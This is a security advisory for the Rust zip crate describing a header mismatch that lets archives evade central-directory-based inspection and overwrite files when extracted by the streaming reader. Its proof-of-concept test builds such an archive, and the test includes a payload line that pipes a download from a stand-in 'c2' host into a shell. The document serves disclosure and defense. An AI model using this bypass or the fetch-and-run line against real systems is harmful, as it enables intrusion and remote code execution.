### zip: Critical Parser Differential & Security Control Bypass via
Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File
Overwrite & RCE
[CVE-2026-115905](https://nvd.nist.gov/vuln/detail/CVE-2026-115905) /
[GHSA-m665-v7pm-7grj](https://redirect.github.com/advisories/GHSA-m665-v7pm-7grj)

#### Details
##### Summary
A critical architectural parser differential exists in the `zip` crate
(`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and
streaming readers (`ZipStreamReader`). `ZipArchive` considers the
Central Directory File Header (CDFH) authoritative and ignores the
filename declared in the Local File Header (LFH). In contrast,
`ZipStreamReader` relies exclusively on the Local File Header (LFH) when
extracting files to the filesystem.
This discrepancy enables ZIP archives to appear to have different file
paths and contents according to which tool is reading them.
---
##### Details
##### Architectural Root Cause
In the PKWARE ZIP archive format, every file entry is defined in two
distinct locations:
1. **Local File Header (LFH):** Precedes the compressed payload of each
file in the body of the archive.
2. **Central Directory File Header (CDFH):** Stored in a contiguous
index at the end of the archive.
In `zip2`:
- `src/read/zip_archive.rs`: `ZipArchive` parses the central directory
into `SharedBuilder.files`. All file lookups by index or name read
exclusively from the CDFH table, completely ignoring the filename
present in the LFH.
- `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and
`ZipStreamReader::extract` read sequentially from the stream without
verifying the central directory index. Each entry is parsed via
`read_zipfile_from_stream` and written to disk using the unverified
filename declared in the LFH:
```rust
// src/read/stream.rs
fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) ->
ZipResult<()> {
file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_,
fn(&Path) -> bool)>)?;
let mut outfile = fs::File::create(&outpath)?;
io::copy(file, &mut outfile)?;
Ok(())
}
```
- `src/write.rs:L1552`: The crate explicitly exposes
`shallow_copy_file`, an API that constructs dual-header
desynchronizations by adding a new CDFH entry with an alias name
pointing to an existing file without updating the original LFH.
##### Threat Scenario & Severity Justification (10.0 / 9.9 Critical)
1. **Security Control Evasion:** An adversary crafts a ZIP archive
where:
- Central Directory Header declares: `doc_report.pdf` (Clean document)
- Local File Header declares: `cron_worker.sh` (Malicious root backdoor)
2. The archive is uploaded through a web portal or API endpoint
protected by security gateways (WAF, Anti-Virus, Content Disarm &
Reconstruction). The security gateway inspects the archive using
`ZipArchive` (or similar CDFH-first parsers), detects only
`doc_report.pdf`, and approves the file.
3. The backend worker or cloud function receives the approved archive
and extracts it using `ZipStreamReader::extract`. `ZipStreamReader`
reads the LFH and overwrites `cron_worker.sh`.
4. **Full Compromise (CIA = High):** The legitimate production health
checker / service script is destroyed (**Availability = High / DoS**),
while the attacker's backdoor payload is implanted (**Integrity = High /
RCE**).
---
##### Proof of Concept
The following automated integration test reproducibly demonstrates the
complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion ->
Arbitrary File Overwrite -> RCE & DoS) against `zip2`:
```rust
use std::fs;
use std::io::{Cursor, Write};
use tempfile::tempdir;
use zip::unstable::stream::ZipStreamReader;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};
// Simulated Security Gateway (inspects CDFH via ZipArchive)
fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> {
let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap();
for i in 0..archive.len() {
let name = archive.by_index(i).unwrap().name().unwrap().to_string();
if name.ends_with(".sh") || name.ends_with(".exe") {
return Err(format!("MALWARE DETECTED: '{}' blocked!", name));
}
if !name.ends_with(".pdf") {
return Err("Policy violation: only PDFs allowed!".into());
}
}
Ok(())
}
#[test]
fn test_cvss_9_9_dual_header_exploit_chain() {
// 1. Victim server setup: existing critical script
let victim_env = tempdir().unwrap();
let victim_dir = victim_env.path();
let target_script = victim_dir.join("cron_worker.sh");
fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap();
// 2. Attacker crafts Single-Entry Dual-Header Archive
// LFH: "cron_worker.sh" | CDFH: "doc_report.pdf"
let mut payload = Cursor::new(Vec::new());
let mut writer = ZipWriter::new(&mut payload);
writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap();
writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap();
writer.finish().unwrap();
let mut malicious_zip = payload.into_inner();
let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap();
malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_report.pdf");
// 3. Gateway Inspection (Bypassed!)
assert!(security_gateway_inspection(&malicious_zip).is_ok());
// 4. Backend Extraction (ZipStreamReader)
ZipStreamReader::new(Cursor::new(&malicious_zip)).extract(victim_dir).unwrap();
// 5. Impact Verification
let compromised = fs::read_to_string(&target_script).unwrap();
assert!(!compromised.contains("SERVICE HEALTHY")); // DoS Confirmed
assert!(compromised.contains("PWNED ROOT")); // RCE Confirmed
}
```

##### Impact
An attacker can construct a crafted archive whose Central Directory
displays a benign filename (doc_report.pdf) that is inspected and
approved by upstream security gateways (antivirus scanners, mail
filters, upload firewalls), while automated backend ingestion pipelines
or microservices using ZipStreamReader extract an arbitrary or malicious
file (overwriting e.g. cron_worker.sh or critical system binaries).
Because an adversary can overwrite existing files on disk, this
vulnerability leads to Security Control Bypass, Arbitrary File
Overwrite, Complete Denial of Service, and Remote Code Execution (RCE)
in situations where a tool relying on the central directory trusts a
tool that relied on the local file headers or vice-versa.
**Who is Impacted:**
- Automated ingestion microservices, SaaS platforms, and backend workers
that extract user-submitted ZIP files.
- Enterprise architectures where security verification (AV scanning,
extension whitelisting) is decoupled from extraction (e.g. gateway
audits Central Directory via CDFH before handing off extraction to
streaming extractors).
- Containerized workloads where overwriting local configuration files or
executable scripts leads to host/container escape and complete service
disruption.
